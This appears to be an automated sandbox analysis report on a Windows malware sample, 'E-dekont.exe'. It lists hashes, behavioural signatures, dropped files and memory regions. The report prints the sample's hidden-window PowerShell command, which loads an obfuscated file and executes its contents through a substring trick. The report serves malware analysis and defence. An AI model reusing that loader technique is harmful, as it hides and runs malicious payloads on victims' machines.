Analysis

  • max time kernel
    145s
  • max time network
    271s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/02/2024, 09:22

General

  • Target
    E-dekont.exe
  • Size 575KB
  • Sample240219-lcetbsbf8y
  • SHA256 b2aedf1de53ed6e8b341efc26bfa06068a0c1dcfa04af94d998ced18546ad5d4
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10

Malware Config

Signatures

  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\E-dekont.exe
    "C:\Users\Admin\AppData\Local\Temp\E-dekont.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:4564
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Vandvrkerne=Get-Content 'C:\Users\Admin\AppData\Roaming\kolossens\livrente\markedsfringsomkostnings\Melitta\Assonantic\evakueringsvelsers\Jakobskamp\Blyantstegninger.Mum';$Blodsukkerets27=$Vandvrkerne.SubString(43740,3);.$Blodsukkerets27($Vandvrkerne)"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1900

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_i0f15y5b.ab0.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i0f15y5b.ab0.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        nsExec.dll

        • Path C:\Users\Admin\AppData\Local\Temp\nsi4FA7.tmp\nsExec.dll
        • Size 6KB
        • SHA256 49b7477db8dd22f8cf2d41ee2d79ce57797f02e8c7b9e799951a6c710384349a
        • MD5 SHA1 SHA512 SSDEEP

        Blyantstegninger.Mum

        • Path C:\Users\Admin\AppData\Roaming\kolossens\livrente\markedsfringsomkostnings\Melitta\Assonantic\evakueringsvelsers\Jakobskamp\Blyantstegninger.Mum
        • Size 42KB
        • SHA256 c2fb393897717d953dfd2ccfd179fccba1dbae00fa6c7a9ca46610b78b9ba085
        • MD5 SHA1 SHA512 SSDEEP

        memory/1900-36-0x0000000005810000-0x0000000005B64000-memory.dmp

        memory/1900-38-0x0000000005E40000-0x0000000005E8C000-memory.dmp

        memory/1900-23-0x0000000005090000-0x00000000056B8000-memory.dmp

        memory/1900-24-0x0000000005030000-0x0000000005052000-memory.dmp

        memory/1900-25-0x0000000005730000-0x0000000005796000-memory.dmp

        memory/1900-26-0x00000000057A0000-0x0000000005806000-memory.dmp

        memory/1900-21-0x0000000004A50000-0x0000000004A60000-memory.dmp

        memory/1900-20-0x00000000739F0000-0x00000000741A0000-memory.dmp

        memory/1900-37-0x0000000005E10000-0x0000000005E2E000-memory.dmp

        memory/1900-22-0x0000000004A50000-0x0000000004A60000-memory.dmp

        memory/1900-39-0x0000000006E90000-0x0000000006F26000-memory.dmp

        memory/1900-40-0x00000000062E0000-0x00000000062FA000-memory.dmp

        memory/1900-41-0x0000000006350000-0x0000000006372000-memory.dmp

        memory/1900-42-0x00000000077B0000-0x0000000007D54000-memory.dmp

        memory/1900-19-0x0000000002810000-0x0000000002846000-memory.dmp

        memory/1900-44-0x00000000083E0000-0x0000000008A5A000-memory.dmp

        memory/1900-46-0x00000000739F0000-0x00000000741A0000-memory.dmp

        memory/1900-48-0x0000000004A50000-0x0000000004A60000-memory.dmp